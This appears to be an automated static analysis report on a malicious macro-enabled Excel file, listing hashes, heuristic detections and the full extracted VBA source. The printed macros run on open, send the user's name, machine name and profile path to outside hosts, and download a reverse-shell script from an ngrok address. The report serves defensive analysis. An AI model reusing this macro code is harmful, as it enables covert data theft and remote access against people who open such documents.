Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8e819aa263826135…

MALICIOUS

Office (OOXML)

33.8 KB Created: 2020-09-07 09:28:23 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-10
MD5: 4e5903fbc3192dff2e7bdf5d95a53102 SHA-1: f133f488065aa514a9e498c623af21c2e65c9e58 SHA-256: 8e819aa2638261355e37e8e0a5d0aaf42ce62a1c2bce8ebd2b5117d3b5cd4f08
186 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set request = CreateObject("MSXML2.ServerXMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    computername = Environ$("computername")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://51.38.234.217:9090/test.php?user= Referenced by macro
    • https://support.clnes.fr/test.php?user=Referenced by macro
    • https://90a39b80e103.ngrok.io/reverse_shell.vbsReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2684 bytes
SHA-256: 8bee16fe30cf6117a3bdb2068f4e86112c1c1884a51b26bd967dc6be1fa05d29
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Feuil1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub send_user_infos()
Dim payload As String
Dim hostname As String
Dim username As String
Dim user_profile As String
Dim today As String
Dim dbAppID As Double

computername = Environ$("computername")
username = Environ$("username")
user_profile = Environ$("userprofile")
today = Date

Dim info
    info = Array(hostname, username)

payload = Join(info, "|")

Set request = CreateObject("MSXML2.ServerXMLHTTP")
    Url = "http://51.38.234.217:9090/test.php?user=" + username + "&machine=" + computername + "&date=" + today + "&user_profile=" + user_profile
    request.Open "GET", Url, False
    request.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
    request.send ("")
   
End Sub

Sub Auto_Open()

Dim payload As String
Dim hostname As String
Dim username As String
Dim user_profile As String
Dim today As String
Dim dbAppID As Double

computername = Environ$("computername")
username = Environ$("username")
user_profile = Environ$("userprofile")
today = Date

Dim info
    info = Array(hostname, username)

payload = Join(info, "|")

Set request = CreateObject("MSXML2.ServerXMLHTTP")
    Url = "https://support.clnes.fr/test.php?user=" + username + "&machine=" + computername + "&date=" + today + "&user_profile=" + user_profile
    request.Open "GET", Url, False
    request.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
    request.send ("")
   
End Sub



Attribute VB_Name = "Module2"
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub drop_file(path)
path = path + "\"
imgsrc = "https://90a39b80e103.ngrok.io/reverse_shell.vbs"
URLDownloadToFile 0, imgsrc, path & "test_rev_shell.vbs", 0, 0
End Sub


Attribute VB_Name = "Module3"
Private Sub Workbook_Open()

MsgBox "Welcome to ANALYSIS TABS"

End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 25088 bytes
SHA-256: 4481a9242df9c7433c6187efb77f3dafe163229368c72b4501c4c54b4e8d031e